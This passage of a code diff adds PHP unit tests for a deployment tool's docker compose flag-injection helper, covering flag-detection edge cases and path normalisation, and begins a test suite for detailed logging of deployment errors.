+
+it('handles DOCKER_BUILDKIT prefix with env-file injection', function () {
+    $customCommand = 'docker compose -f ./docker-compose.yaml build';
+
+    // Simulate the injection logic from ApplicationDeploymentJob
+    if (! str_contains($customCommand, '--env-file')) {
+        $customCommand = str_replace(
+            'docker compose',
+            'docker compose --env-file /artifacts/build-time.env',
+            $customCommand
+        );
+    }
+
+    // Simulate BuildKit support
+    $dockerBuildkitSupported = true;
+    if ($dockerBuildkitSupported) {
+        $customCommand = "DOCKER_BUILDKIT=1 {$customCommand}";
+    }
+
+    expect($customCommand)->toBe('DOCKER_BUILDKIT=1 docker compose --env-file /artifacts/build-time.env -f ./docker-compose.yaml build');
+    expect($customCommand)->toStartWith('DOCKER_BUILDKIT=1');
+    expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
+});
+
+// Tests for -f flag injection
+
+it('injects -f flag with compose file path into custom build command', function () {
+    $customCommand = 'docker compose build';
+    $composeFilePath = '/artifacts/deployment-uuid/backend/docker-compose.yaml';
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, $composeFilePath, '/artifacts/build-time.env');
+
+    expect($customCommand)->toBe('docker compose -f /artifacts/deployment-uuid/backend/docker-compose.yaml --env-file /artifacts/build-time.env build');
+    expect($customCommand)->toContain('-f /artifacts/deployment-uuid/backend/docker-compose.yaml');
+    expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
+});
+
+it('does not duplicate -f flag when already present', function () {
+    $customCommand = 'docker compose -f ./custom/docker-compose.yaml build';
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
+
+    expect($customCommand)->toBe('docker compose --env-file /artifacts/build-time.env -f ./custom/docker-compose.yaml build');
+    expect(substr_count($customCommand, ' -f '))->toBe(1);
+    expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
+});
+
+it('does not duplicate --file flag when already present', function () {
+    $customCommand = 'docker compose --file ./custom/docker-compose.yaml build';
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
+
+    expect($customCommand)->toBe('docker compose --env-file /artifacts/build-time.env --file ./custom/docker-compose.yaml build');
+    expect(substr_count($customCommand, '--file '))->toBe(1);
+    expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
+});
+
+it('injects both -f and --env-file flags in single operation', function () {
+    $customCommand = 'docker compose build --no-cache';
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, '/artifacts/uuid/app/docker-compose.prod.yaml', '/artifacts/build-time.env');
+
+    expect($customCommand)->toBe('docker compose -f /artifacts/uuid/app/docker-compose.prod.yaml --env-file /artifacts/build-time.env build --no-cache');
+    expect($customCommand)->toContain('-f /artifacts/uuid/app/docker-compose.prod.yaml');
+    expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
+    expect($customCommand)->toContain('build --no-cache');
+});
+
+it('respects user-provided -f and --env-file flags', function () {
+    $customCommand = 'docker compose -f ./my-compose.yaml --env-file .env build';
+
+    // Use the helper function - should not inject anything since both flags are already present
+    $customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
+
+    expect($customCommand)->toBe('docker compose -f ./my-compose.yaml --env-file .env build');
+    expect(substr_count($customCommand, ' -f '))->toBe(1);
+    expect(substr_count($customCommand, '--env-file'))->toBe(1);
+});
+
+// Tests for custom start command -f and --env-file injection
+
+it('injects -f and --env-file flags into custom start command', function () {
+    $customCommand = 'docker compose up -d';
+    $serverWorkdir = '/var/lib/docker/volumes/coolify-data/_data/applications/app-uuid';
+    $composeLocation = '/docker-compose.yaml';
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, "{$serverWorkdir}{$composeLocation}", "{$serverWorkdir}/.env");
+
+    expect($customCommand)->toBe('docker compose -f /var/lib/docker/volumes/coolify-data/_data/applications/app-uuid/docker-compose.yaml --env-file /var/lib/docker/volumes/coolify-data/_data/applications/app-uuid/.env up -d');
+    expect($customCommand)->toContain('-f /var/lib/docker/volumes/coolify-data/_data/applications/app-uuid/docker-compose.yaml');
+    expect($customCommand)->toContain('--env-file /var/lib/docker/volumes/coolify-data/_data/applications/app-uuid/.env');
+});
+
+it('does not duplicate -f flag in start command when already present', function () {
+    $customCommand = 'docker compose -f ./custom-compose.yaml up -d';
+    $serverWorkdir = '/var/lib/docker/volumes/coolify-data/_data/applications/app-uuid';
+    $composeLocation = '/docker-compose.yaml';
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, "{$serverWorkdir}{$composeLocation}", "{$serverWorkdir}/.env");
+
+    expect($customCommand)->toBe('docker compose --env-file /var/lib/docker/volumes/coolify-data/_data/applications/app-uuid/.env -f ./custom-compose.yaml up -d');
+    expect(substr_count($customCommand, ' -f '))->toBe(1);
+    expect($customCommand)->toContain('--env-file');
+});
+
+it('does not duplicate --env-file flag in start command when already present', function () {
+    $customCommand = 'docker compose --env-file ./my.env up -d';
+    $serverWorkdir = '/var/lib/docker/volumes/coolify-data/_data/applications/app-uuid';
+    $composeLocation = '/docker-compose.yaml';
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, "{$serverWorkdir}{$composeLocation}", "{$serverWorkdir}/.env");
+
+    expect($customCommand)->toBe('docker compose -f /var/lib/docker/volumes/coolify-data/_data/applications/app-uuid/docker-compose.yaml --env-file ./my.env up -d');
+    expect(substr_count($customCommand, '--env-file'))->toBe(1);
+    expect($customCommand)->toContain('-f');
+});
+
+it('respects both user-provided flags in start command', function () {
+    $customCommand = 'docker compose -f ./my-compose.yaml --env-file ./.env up -d';
+    $serverWorkdir = '/var/lib/docker/volumes/coolify-data/_data/applications/app-uuid';
+    $composeLocation = '/docker-compose.yaml';
+
+    // Use the helper function - should not inject anything since both flags are already present
+    $customCommand = injectDockerComposeFlags($customCommand, "{$serverWorkdir}{$composeLocation}", "{$serverWorkdir}/.env");
+
+    expect($customCommand)->toBe('docker compose -f ./my-compose.yaml --env-file ./.env up -d');
+    expect(substr_count($customCommand, ' -f '))->toBe(1);
+    expect(substr_count($customCommand, '--env-file'))->toBe(1);
+});
+
+it('injects both flags in start command with additional parameters', function () {
+    $customCommand = 'docker compose up -d --remove-orphans';
+    $serverWorkdir = '/workdir/app';
+    $composeLocation = '/backend/docker-compose.prod.yaml';
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, "{$serverWorkdir}{$composeLocation}", "{$serverWorkdir}/.env");
+
+    expect($customCommand)->toBe('docker compose -f /workdir/app/backend/docker-compose.prod.yaml --env-file /workdir/app/.env up -d --remove-orphans');
+    expect($customCommand)->toContain('-f /workdir/app/backend/docker-compose.prod.yaml');
+    expect($customCommand)->toContain('--env-file /workdir/app/.env');
+    expect($customCommand)->toContain('--remove-orphans');
+});
+
+// Security tests: Prevent bypass vectors for flag detection
+
+it('detects -f flag with equals sign format (bypass vector)', function () {
+    $customCommand = 'docker compose -f=./custom/docker-compose.yaml build';
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
+
+    // Should NOT inject -f flag since -f= is already present
+    expect($customCommand)->toBe('docker compose --env-file /artifacts/build-time.env -f=./custom/docker-compose.yaml build');
+    expect($customCommand)->not->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
+    expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
+});
+
+it('detects --file flag with equals sign format (bypass vector)', function () {
+    $customCommand = 'docker compose --file=./custom/docker-compose.yaml build';
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
+
+    // Should NOT inject -f flag since --file= is already present
+    expect($customCommand)->toBe('docker compose --env-file /artifacts/build-time.env --file=./custom/docker-compose.yaml build');
+    expect($customCommand)->not->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
+    expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
+});
+
+it('detects --env-file flag with equals sign format (bypass vector)', function () {
+    $customCommand = 'docker compose --env-file=./custom/.env build';
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
+
+    // Should NOT inject --env-file flag since --env-file= is already present
+    expect($customCommand)->toBe('docker compose -f /artifacts/deployment-uuid/docker-compose.yaml --env-file=./custom/.env build');
+    expect($customCommand)->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
+    expect($customCommand)->not->toContain('--env-file /artifacts/build-time.env');
+});
+
+it('detects -f flag with tab character whitespace (bypass vector)', function () {
+    $customCommand = "docker compose\t-f\t./custom/docker-compose.yaml build";
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
+
+    // Should NOT inject -f flag since -f with tab is already present
+    expect($customCommand)->toBe("docker compose --env-file /artifacts/build-time.env\t-f\t./custom/docker-compose.yaml build");
+    expect($customCommand)->not->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
+    expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
+});
+
+it('detects --env-file flag with tab character whitespace (bypass vector)', function () {
+    $customCommand = "docker compose\t--env-file\t./custom/.env build";
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
+
+    // Should NOT inject --env-file flag since --env-file with tab is already present
+    expect($customCommand)->toBe("docker compose -f /artifacts/deployment-uuid/docker-compose.yaml\t--env-file\t./custom/.env build");
+    expect($customCommand)->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
+    expect($customCommand)->not->toContain('--env-file /artifacts/build-time.env');
+});
+
+it('detects -f flag with multiple spaces (bypass vector)', function () {
+    $customCommand = 'docker compose  -f  ./custom/docker-compose.yaml build';
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
+
+    // Should NOT inject -f flag since -f with multiple spaces is already present
+    expect($customCommand)->toBe('docker compose --env-file /artifacts/build-time.env  -f  ./custom/docker-compose.yaml build');
+    expect($customCommand)->not->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
+    expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
+});
+
+it('detects --file flag with multiple spaces (bypass vector)', function () {
+    $customCommand = 'docker compose  --file  ./custom/docker-compose.yaml build';
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
+
+    // Should NOT inject -f flag since --file with multiple spaces is already present
+    expect($customCommand)->toBe('docker compose --env-file /artifacts/build-time.env  --file  ./custom/docker-compose.yaml build');
+    expect($customCommand)->not->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
+    expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
+});
+
+it('detects -f flag at start of command (edge case)', function () {
+    $customCommand = '-f ./custom/docker-compose.yaml docker compose build';
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
+
+    // Should NOT inject -f flag since -f is at start of command
+    expect($customCommand)->toBe('-f ./custom/docker-compose.yaml docker compose --env-file /artifacts/build-time.env build');
+    expect($customCommand)->not->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
+    expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
+});
+
+it('detects --env-file flag at start of command (edge case)', function () {
+    $customCommand = '--env-file=./custom/.env docker compose build';
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
+
+    // Should NOT inject --env-file flag since --env-file is at start of command
+    expect($customCommand)->toBe('--env-file=./custom/.env docker compose -f /artifacts/deployment-uuid/docker-compose.yaml build');
+    expect($customCommand)->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
+    expect($customCommand)->not->toContain('--env-file /artifacts/build-time.env');
+});
+
+it('handles mixed whitespace correctly (comprehensive test)', function () {
+    $customCommand = "docker compose\t-f=./custom/docker-compose.yaml  --env-file\t./custom/.env build";
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
+
+    // Should NOT inject any flags since both are already present with various whitespace
+    expect($customCommand)->toBe("docker compose\t-f=./custom/docker-compose.yaml  --env-file\t./custom/.env build");
+    expect($customCommand)->not->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
+    expect($customCommand)->not->toContain('--env-file /artifacts/build-time.env');
+});
+
+// Tests for concatenated -f flag format (no space, no equals)
+
+it('detects -f flag in concatenated format -fvalue (bypass vector)', function () {
+    $customCommand = 'docker compose -f./custom/docker-compose.yaml build';
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
+
+    // Should NOT inject -f flag since -f is concatenated with value
+    expect($customCommand)->toBe('docker compose --env-file /artifacts/build-time.env -f./custom/docker-compose.yaml build');
+    expect($customCommand)->not->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
+    expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
+});
+
+it('detects -f flag concatenated with path containing slash', function () {
+    $customCommand = 'docker compose -f/path/to/compose.yml up -d';
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
+
+    // Should NOT inject -f flag since -f is concatenated
+    expect($customCommand)->toBe('docker compose --env-file /artifacts/build-time.env -f/path/to/compose.yml up -d');
+    expect($customCommand)->not->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
+    expect($customCommand)->toContain('-f/path/to/compose.yml');
+});
+
+it('detects -f flag concatenated at start of command', function () {
+    $customCommand = '-f./compose.yaml docker compose build';
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
+
+    // Should NOT inject -f flag since -f is already present (even at start)
+    expect($customCommand)->toBe('-f./compose.yaml docker compose --env-file /artifacts/build-time.env build');
+    expect($customCommand)->not->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
+});
+
+it('detects concatenated -f flag with relative path', function () {
+    $customCommand = 'docker compose -f../docker-compose.prod.yaml build --no-cache';
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
+
+    // Should NOT inject -f flag
+    expect($customCommand)->toBe('docker compose --env-file /artifacts/build-time.env -f../docker-compose.prod.yaml build --no-cache');
+    expect($customCommand)->not->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
+    expect($customCommand)->toContain('-f../docker-compose.prod.yaml');
+});
+
+it('correctly injects when no -f flag is present (sanity check after concatenated fix)', function () {
+    $customCommand = 'docker compose build --no-cache';
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, '/artifacts/deployment-uuid/docker-compose.yaml', '/artifacts/build-time.env');
+
+    // SHOULD inject both flags
+    expect($customCommand)->toBe('docker compose -f /artifacts/deployment-uuid/docker-compose.yaml --env-file /artifacts/build-time.env build --no-cache');
+    expect($customCommand)->toContain('-f /artifacts/deployment-uuid/docker-compose.yaml');
+    expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
+});
+
+// Edge case tests: First occurrence only replacement
+
+it('only replaces first docker compose occurrence in chained commands', function () {
+    $customCommand = 'docker compose pull && docker compose build';
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, '/artifacts/uuid/docker-compose.yaml', '/artifacts/build-time.env');
+
+    // Only the FIRST 'docker compose' should get the flags
+    expect($customCommand)->toBe('docker compose -f /artifacts/uuid/docker-compose.yaml --env-file /artifacts/build-time.env pull && docker compose build');
+    expect($customCommand)->toContain('docker compose -f /artifacts/uuid/docker-compose.yaml --env-file /artifacts/build-time.env pull');
+    expect($customCommand)->toContain(' && docker compose build');
+    // Verify the second occurrence is NOT modified
+    expect(substr_count($customCommand, '-f /artifacts/uuid/docker-compose.yaml'))->toBe(1);
+    expect(substr_count($customCommand, '--env-file /artifacts/build-time.env'))->toBe(1);
+});
+
+it('does not modify docker compose string in echo statements', function () {
+    $customCommand = 'docker compose build && echo "docker compose finished successfully"';
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, '/artifacts/uuid/docker-compose.yaml', '/artifacts/build-time.env');
+
+    // Only the FIRST 'docker compose' (the command) should get flags, NOT the echo message
+    expect($customCommand)->toBe('docker compose -f /artifacts/uuid/docker-compose.yaml --env-file /artifacts/build-time.env build && echo "docker compose finished successfully"');
+    expect($customCommand)->toContain('docker compose -f /artifacts/uuid/docker-compose.yaml --env-file /artifacts/build-time.env build');
+    expect($customCommand)->toContain('echo "docker compose finished successfully"');
+    // Verify echo message is NOT modified
+    expect(substr_count($customCommand, 'docker compose', 0))->toBe(2); // Two total occurrences
+    expect(substr_count($customCommand, '-f /artifacts/uuid/docker-compose.yaml'))->toBe(1); // Only first has flags
+});
+
+it('does not modify docker compose string in bash comments', function () {
+    $customCommand = 'docker compose build # This runs docker compose to build the image';
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, '/artifacts/uuid/docker-compose.yaml', '/artifacts/build-time.env');
+
+    // Only the FIRST 'docker compose' (the command) should get flags, NOT the comment
+    expect($customCommand)->toBe('docker compose -f /artifacts/uuid/docker-compose.yaml --env-file /artifacts/build-time.env build # This runs docker compose to build the image');
+    expect($customCommand)->toContain('docker compose -f /artifacts/uuid/docker-compose.yaml --env-file /artifacts/build-time.env build');
+    expect($customCommand)->toContain('# This runs docker compose to build the image');
+    // Verify comment is NOT modified
+    expect(substr_count($customCommand, 'docker compose', 0))->toBe(2); // Two total occurrences
+    expect(substr_count($customCommand, '-f /artifacts/uuid/docker-compose.yaml'))->toBe(1); // Only first has flags
+});
+
+// False positive prevention tests: Flags like -foo, -from, -feature should NOT be detected as -f
+
+it('injects -f flag when command contains -foo flag (not -f)', function () {
+    $customCommand = 'docker compose build --foo bar';
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, '/artifacts/uuid/docker-compose.yaml', '/artifacts/build-time.env');
+
+    // SHOULD inject -f flag because -foo is NOT the -f flag
+    expect($customCommand)->toBe('docker compose -f /artifacts/uuid/docker-compose.yaml --env-file /artifacts/build-time.env build --foo bar');
+    expect($customCommand)->toContain('-f /artifacts/uuid/docker-compose.yaml');
+});
+
+it('injects -f flag when command contains --from flag (not -f)', function () {
+    $customCommand = 'docker compose build --from cache-image';
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, '/artifacts/uuid/docker-compose.yaml', '/artifacts/build-time.env');
+
+    // SHOULD inject -f flag because --from is NOT the -f flag
+    expect($customCommand)->toBe('docker compose -f /artifacts/uuid/docker-compose.yaml --env-file /artifacts/build-time.env build --from cache-image');
+    expect($customCommand)->toContain('-f /artifacts/uuid/docker-compose.yaml');
+});
+
+it('injects -f flag when command contains -feature flag (not -f)', function () {
+    $customCommand = 'docker compose build -feature test';
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, '/artifacts/uuid/docker-compose.yaml', '/artifacts/build-time.env');
+
+    // SHOULD inject -f flag because -feature is NOT the -f flag
+    expect($customCommand)->toBe('docker compose -f /artifacts/uuid/docker-compose.yaml --env-file /artifacts/build-time.env build -feature test');
+    expect($customCommand)->toContain('-f /artifacts/uuid/docker-compose.yaml');
+});
+
+it('injects -f flag when command contains -fast flag (not -f)', function () {
+    $customCommand = 'docker compose build -fast';
+
+    // Use the helper function
+    $customCommand = injectDockerComposeFlags($customCommand, '/artifacts/uuid/docker-compose.yaml', '/artifacts/build-time.env');
+
+    // SHOULD inject -f flag because -fast is NOT the -f flag
+    expect($customCommand)->toBe('docker compose -f /artifacts/uuid/docker-compose.yaml --env-file /artifacts/build-time.env build -fast');
+    expect($customCommand)->toContain('-f /artifacts/uuid/docker-compose.yaml');
+});
+
+// Path normalization tests for preview methods
+
+it('normalizes path when baseDirectory is root slash', function () {
+    $baseDirectory = '/';
+    $composeLocation = '/docker-compose.yaml';
+
+    // Normalize baseDirectory to prevent double slashes
+    $normalizedBase = $baseDirectory === '/' ? '' : rtrim($baseDirectory, '/');
+    $path = ".{$normalizedBase}{$composeLocation}";
+
+    expect($path)->toBe('./docker-compose.yaml');
+    expect($path)->not->toContain('//');
+});
+
+it('normalizes path when baseDirectory has trailing slash', function () {
+    $baseDirectory = '/backend/';
+    $composeLocation = '/docker-compose.yaml';
+
+    // Normalize baseDirectory to prevent double slashes
+    $normalizedBase = $baseDirectory === '/' ? '' : rtrim($baseDirectory, '/');
+    $path = ".{$normalizedBase}{$composeLocation}";
+
+    expect($path)->toBe('./backend/docker-compose.yaml');
+    expect($path)->not->toContain('//');
+});
+
+it('handles empty baseDirectory correctly', function () {
+    $baseDirectory = '';
+    $composeLocation = '/docker-compose.yaml';
+
+    // Normalize baseDirectory to prevent double slashes
+    $normalizedBase = $baseDirectory === '/' ? '' : rtrim($baseDirectory, '/');
+    $path = ".{$normalizedBase}{$composeLocation}";
+
+    expect($path)->toBe('./docker-compose.yaml');
+    expect($path)->not->toContain('//');
+});
+
+it('handles normal baseDirectory without trailing slash', function () {
+    $baseDirectory = '/backend';
+    $composeLocation = '/docker-compose.yaml';
+
+    // Normalize baseDirectory to prevent double slashes
+    $normalizedBase = $baseDirectory === '/' ? '' : rtrim($baseDirectory, '/');
+    $path = ".{$normalizedBase}{$composeLocation}";
+
+    expect($path)->toBe('./backend/docker-compose.yaml');
+    expect($path)->not->toContain('//');
+});
+
+it('handles nested baseDirectory with trailing slash', function () {
+    $baseDirectory = '/app/backend/';
+    $composeLocation = '/docker-compose.prod.yaml';
+
+    // Normalize baseDirectory to prevent double slashes
+    $normalizedBase = $baseDirectory === '/' ? '' : rtrim($baseDirectory, '/');
+    $path = ".{$normalizedBase}{$composeLocation}";
+
+    expect($path)->toBe('./app/backend/docker-compose.prod.yaml');
+    expect($path)->not->toContain('//');
+});
+
+it('produces correct preview path with normalized baseDirectory', function () {
+    $testCases = [
+        ['baseDir' => '/', 'compose' => '/docker-compose.yaml', 'expected' => './docker-compose.yaml'],
+        ['baseDir' => '', 'compose' => '/docker-compose.yaml', 'expected' => './docker-compose.yaml'],
+        ['baseDir' => '/backend', 'compose' => '/docker-compose.yaml', 'expected' => './backend/docker-compose.yaml'],
+        ['baseDir' => '/backend/', 'compose' => '/docker-compose.yaml', 'expected' => './backend/docker-compose.yaml'],
+        ['baseDir' => '/app/src/', 'compose' => '/docker-compose.prod.yaml', 'expected' => './app/src/docker-compose.prod.yaml'],
+    ];
+
+    foreach ($testCases as $case) {
+        $normalizedBase = $case['baseDir'] === '/' ? '' : rtrim($case['baseDir'], '/');
+        $path = ".{$normalizedBase}{$case['compose']}";
+
+        expect($path)->toBe($case['expected'], "Failed for baseDir: {$case['baseDir']}");
+        expect($path)->not->toContain('//', "Double slash found for baseDir: {$case['baseDir']}");
+    }
+});
diff --git a/tests/Unit/ApplicationDeploymentErrorLoggingTest.php b/tests/Unit/ApplicationDeploymentErrorLoggingTest.php
new file mode 100644
index 000000000..c6210639a
--- /dev/null
+++ b/tests/Unit/ApplicationDeploymentErrorLoggingTest.php
@@ -0,0 +1,344 @@
+<?php
+
+use App\Exceptions\DeploymentException;
+use App\Jobs\ApplicationDeploymentJob;
+use App\Models\Application;
+use App\Models\ApplicationDeploymentQueue;
+
+/**
+ * Test to verify that deployment errors are properly logged with comprehensive details.
+ *
+ * This test suite verifies the fix for issue #7113 where deployments fail without
+ * clear error messages. The fix ensures that all deployment failures log:
+ * - The exception message
+ * - The exception type/class
+ * - The exception code (if present)
+ * - The file and line where the error occurred
+ * - Previous exception details (if chained)
+ * - Stack trace (first 5 lines)
+ */
+it('logs comprehensive error details when failed() is called', function () {
+    // Create a mock exception with all properties
+    $innerException = new \RuntimeException('Connection refused', 111);
+    $exception = new DeploymentException(
+        'Failed to start container',
+        500,
+        $innerException
+    );
+
+    // Mock the application deployment queue
+    $mockQueue = Mockery::mock(ApplicationDeploymentQueue::class);
+    $logEntries = [];
+
+    // Capture all log entries
+    $mockQueue->shouldReceive('addLogEntry')
+        ->withArgs(function ($message, $type = 'stdout', $hidden = false) use (&$logEntries) {
+            $logEntries[] = ['message' => $message, 'type' => $type, 'hidden' => $hidden];
+
+            return true;
+        })
+        ->atLeast()->once();
+
+    $mockQueue->shouldReceive('update')->andReturn(true);
+
+    // Mock Application and its relationships
+    $mockApplication = Mockery::mock(Application::class);
+    $mockApplication->shouldReceive('getAttribute')
+        ->with('build_pack')
+        ->andReturn('dockerfile');
+    $mockApplication->shouldReceive('setAttribute')
+        ->with('build_pack', 'dockerfile')
+        ->andReturnSelf();
+    $mockApplication->build_pack = 'dockerfile';
+
+    $mockSettings = Mockery::mock();
+    $mockSettings->shouldReceive('getAttribute')
+        ->with('is_consistent_container_name_enabled')
+        ->andReturn(false);
+    $mockSettings->shouldReceive('getAttribute')
+        ->with('custom_internal_name')
+        ->andReturn('');
+    $mockSettings->shouldReceive('setAttribute')
+        ->andReturnSelf();
+    $mockSettings->is_consistent_container_name_enabled = false;
+    $mockSettings->custom_internal_name = '';
+
+    $mockApplication->shouldReceive('getAttribute')
+        ->with('settings')
+        ->andReturn($mockSettings);
+
+    // Use reflection to set private properties and call the failed() method
+    $job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
+    $job->shouldAllowMockingProtectedMethods();
+
+    $reflection = new \ReflectionClass(ApplicationDeploymentJob::class);
+
+    $queueProperty = $reflection->getProperty('application_deployment_queue');
+    $queueProperty->setAccessible(true);
+    $queueProperty->setValue($job, $mockQueue);
+
+    $applicationProperty = $reflection->getProperty('application');
+    $applicationProperty->setAccessible(true);
+    $applicationProperty->setValue($job, $mockApplication);
+
+    $pullRequestProperty = $reflection->getProperty('pull_request_id');
+    $pullRequestProperty->setAccessible(true);
+    $pullRequestProperty->setValue($job, 0);
+
+    $containerNameProperty = $reflection->getProperty('container_name');
+    $containerNameProperty->setAccessible(true);
+    $containerNameProperty->setValue($job, 'test-container');
+
+    // Mock the failDeployment method to prevent errors
+    $job->shouldReceive('failDeployment')->andReturn();
+    $job->shouldReceive('execute_remote_command')->andReturn();
+
+    // Call the failed method
+    $failedMethod = $reflection->getMethod('failed');
+    $failedMethod->setAccessible(true);
+    $failedMethod->invoke($job, $exception);
+
+    // Verify comprehensive error logging
+    $errorMessages = array_column($logEntries, 'message');
+    $errorMessageString = implode("\n", $errorMessages);
+
+    // Check that all critical information is logged
+    expect($errorMessageString)->toContain('Deployment failed: Failed to start container');
+    expect($errorMessageString)->toContain('Error type: App\Exceptions\DeploymentException');
+    expect($errorMessageString)->toContain('Error code: 500');
+    expect($errorMessageString)->toContain('Location:');
+    expect($errorMessageString)->toContain('Caused by:');
+    expect($errorMessageString)->toContain('RuntimeException: Connection refused');
+    expect($errorMessageString)->toContain('Stack trace');
+
+    // Verify stderr type is used for error logging
+    $stderrEntries = array_filter($logEntries, fn ($entry) => $entry['type'] === 'stderr');
+    expect(count($stderrEntries))->toBeGreaterThan(0);
+
+    // Verify that the main error message is NOT hidden
+    $mainErrorEntry = collect($logEntries)->first(fn ($entry) => str_contains($entry['message'], 'Deployment failed: Failed to start container'));
+    expect($mainErrorEntry['hidden'])->toBeFalse();
+
+    // Verify that technical details ARE hidden
+    $errorTypeEntry = collect($logEntries)->first(fn ($entry) => str_contains($entry['message'], 'Error type:'));
+    expect($errorTypeEntry['hidden'])->toBeTrue();
+
+    $errorCodeEntry = collect($logEntries)->first(fn ($entry) => str_contains($entry['message'], 'Error code:'));
+    expect($errorCodeEntry['hidden'])->toBeTrue();
+
+    $locationEntry = collect($logEntries)->first(fn ($entry) => str_contains($entry['message'], 'Location:'));
+    expect($locationEntry['hidden'])->toBeTrue();
+
+    $stackTraceEntry = collect($logEntries)->first(fn ($entry) => str_contains($entry['message'], 'Stack trace'));
+    expect($stackTraceEntry['hidden'])->toBeTrue();
+
+    $causedByEntry = collect($logEntries)->first(fn ($entry) => str_contains($entry['message'], 'Caused by:'));
+    expect($causedByEntry['hidden'])->toBeTrue();
+});
+
+it('handles exceptions with no message gracefully', function () {
+    $exception = new \Exception;
+
+    $mockQueue = Mockery::mock(ApplicationDeploymentQueue::class);
+    $logEntries = [];
+
+    $mockQueue->shouldReceive('addLogEntry')
+        ->withArgs(function ($message, $type = 'stdout', $hidden = false) use (&$logEntries) {
+            $logEntries[] = ['message' => $message, 'type' => $type, 'hidden' => $hidden];
+
+            return true;
+        })
+        ->atLeast()->once();
+
+    $mockQueue->shouldReceive('update')->andReturn(true);
+
+    $mockApplication = Mockery::mock(Application::class);
+    $mockApplication->shouldReceive('getAttribute')
+        ->with('build_pack')
+        ->andReturn('dockerfile');
+    $mockApplication->shouldReceive('setAttribute')
+        ->with('build_pack', 'dockerfile')
+        ->andReturnSelf();
+    $mockApplication->build_pack = 'dockerfile';
+
+    $mockSettings = Mockery::mock();
+    $mockSettings->shouldReceive('getAttribute')
+        ->with('is_consistent_container_name_enabled')
+        ->andReturn(false);
+    $mockSettings->shouldReceive('getAttribute')
+        ->with('custom_internal_name')
+        ->andReturn('');
